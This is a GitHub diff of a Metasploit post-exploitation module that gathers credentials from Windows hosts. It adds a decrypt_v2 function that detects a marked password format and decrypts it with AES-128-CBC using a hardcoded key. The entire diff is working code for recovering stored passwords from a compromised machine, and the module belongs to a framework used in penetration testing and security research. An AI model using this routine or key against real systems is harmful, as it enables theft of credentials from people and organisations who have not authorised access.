File tree Expand file tree Collapse file tree 1 file changed +21
-2
lines changed
modules/post/windows/gather/credentials Expand file tree Collapse file tree 1 file changed +21
-2
lines changed Original file line number Diff line number Diff line change 6
6
require 'msf/core'
7
7
require 'rex'
8
8
require 'msf/core/auxiliary/report'
9
+ require 'openssl'
9
10
10
11
class Metasploit3 < Msf ::Post
11
12
@@ -138,7 +139,13 @@ def parse_content(table, content)
138
139
pass = ( db . scan ( /password=(.*)/ ) . flatten [ 0 ] ||'' ) . strip
139
140
140
141
# Decrypt if there's a password
141
- decrypted_pass = decrypt ( pass ) unless pass . blank?
142
+ unless pass . blank?
143
+ if pass =~ /\{ \{ \{ VFW(.*)!\^ \* #\$ RIG/
144
+ decrypted_pass = decrypt_v2 ( $1)
145
+ else
146
+ decrypted_pass = decrypt ( pass )
147
+ end
148
+ end
142
149
143
150
pass = decrypted_pass ? decrypted_pass : pass
144
151
@@ -191,8 +198,20 @@ def decrypt( encrypted_password )
191
198
password << char
192
199
end
193
200
194
- return password
201
+ password
202
+ end
203
+
204
+ def decrypt_v2 ( encrypted )
205
+ enc = Rex ::Text . decode_base64 ( encrypted )
206
+ key = Rex ::Text . decode_base64 ( 'LAEGCx0gKU0BAQICCQklKQ==' )
207
+
208
+ aes = OpenSSL ::Cipher . new ( 'AES-128-CBC' )
209
+ aes . decrypt
210
+ aes . key = key
211
+
212
+ aes . update ( enc ) + aes . final
195
213
end
214
+
196
215
end
197
216
198
217
=begin
You can’t perform that action at this time.
0 commit comments